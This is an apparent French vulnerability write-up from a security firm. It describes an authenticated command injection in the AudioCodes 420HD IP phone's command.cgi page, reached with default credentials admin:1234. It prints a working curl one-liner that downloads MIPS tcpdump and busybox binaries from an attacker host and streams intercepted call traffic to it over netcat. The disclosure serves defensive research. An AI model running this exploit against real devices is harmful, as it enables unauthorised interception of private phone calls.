Introduction

En mars 2018, Sysdream a découvert plusieurs vulnérabilités sur le téléphone IP AudioCodes 420HD (version du logiciel embarqué : 2.2.12.126).

Ces vulnérabilités ont été publiées et chacune d'entre elles est associée à un identifiant CVE :

Dans cet article, nous allons nous concentrer sur la vulnérabilité d'injection de commandes.

Une injection de commandes arbitraires est toujours intéressante à identifier lors d'un test d'intrusion. Ce type de vulnérabilité permet assez souvent d'obtenir un accès direct sur le système distant et parfois plus (ex: élévation de privilèges).

Cependant, trouver cette vulnérabilité sur un téléphone IP semble quelque peu inutile. En effet, ces équipements ne stockent généralement pas de données intéressantes... Mais ils traitent tout de même des données sensibles : les appels téléphoniques.

L'idée derrière nos tentatives d'exploitation était de trouver un moyen d'intercepter et de rediriger les appels vers la machine de l'attaquant sans utiliser une autre attaque réseau (ex: Empoisonnement de cache ARP).

Découverte de la RCE et exploitation

Découverte de la vulnérabilité

Le prérequis pour identifier et exploiter cette faille est de disposer d'identifiants valides sur la plate-forme de gestion Web. Comme beaucoup d'équipements réseau, celui-ci dispose d'identifiants par défaut qui, en pratique, restent souvent inchangés.

Dans notre cas, nous pouvons simplement utiliser le couple d'identifiants admin:1234 (trouvé dans le manuel) :

Une fois authentifiés sur la plate-forme Web, nous avons accès à des fonctionnalités de supervision et de diagnostics :

La page permet d'obtenir un retour des commandes ps, top ou encore cat /proc/meminfo.

En manipulant le paramètre passé à la page command.cgi, nous sommes en mesure d'exécuter des commandes arbitraires sur le système :

Espionnage des communications téléphoniques

La bonne nouvelle est que nous avons des droits root sur le système :

La mauvaise nouvelle est que nous sommes dans un shell restreint, BusyBox :

Pour rappel, BusyBox est un binaire embarquant les principales commandes Unix, très utilisé sur les logiciels embarqués.

Selon la version de BusyBox utilisée, nous disposons de plus ou moins de commandes pour interagir avec le système d'exploitation. Malheureusement, celui dont nous disposons est plutôt pauvre en fonctionnalités. Nous n'avons pas netcat, python ou encore perl, et nous avons des versions limitées de certains binaires comme wget.

Cependant, en exécutant la commande cat /proc/cpuinfo, nous découvrons l'architecture utilisée par le téléphone :

Le téléphone est donc basé sur une architecture MIPS.

Il est possible d'utiliser Metasploit pour téléverser un shell interactif pour cette architecture, mais cela ne nous offre pas plus de fonctionnalités ensuite.

Nous décidons alors de chercher d'autres binaires MIPS (Little Endian) sur Internet. Nous en avons trouvé deux particulièrement intéressants pour nous :

Grâce à ceux-ci, nous pouvons utiliser tcpdump pour intercepter le trafic SIP et netcat pour le rediriger vers la machine de l'attaquant.

L'exploitation en one-liner nous donne ceci :

curl -v --user 'admin:1234' 'http://10.89.7.48/command.cgi?ps|wget http://10.89.6.190:8000/tcpdump -P /tmp%26%26wget http://10.89.6.190:8000/busybox-mipsel -P /tmp%26%26chmod %2Bx /tmp/tcpdump%26%26chmod %2Bx /tmp/busybox-mipsel%26%26/tmp/tcpdump -n -i any udp -w -|/tmp/busybox-mipsel nc 10.89.6.190 10000'

Nous pouvons visualiser l'appel en cours dans Wireshark :

Ensuite, toujours avec Wireshark, nous pouvons rejouer l'appel téléphonique :

Pour plus de détails et de fun, nous vous invitons à regarder la vidéo de démonstration :

Auteur

Anthony BAUBE <a.baube -at- sysdream.com>

Remerciements

Merci à Antoine Morin <a.morin -at- sysdream.com> pour son aide et sa participation et également merci aux autres consultants Sysdream pour leurs idées et leur support :)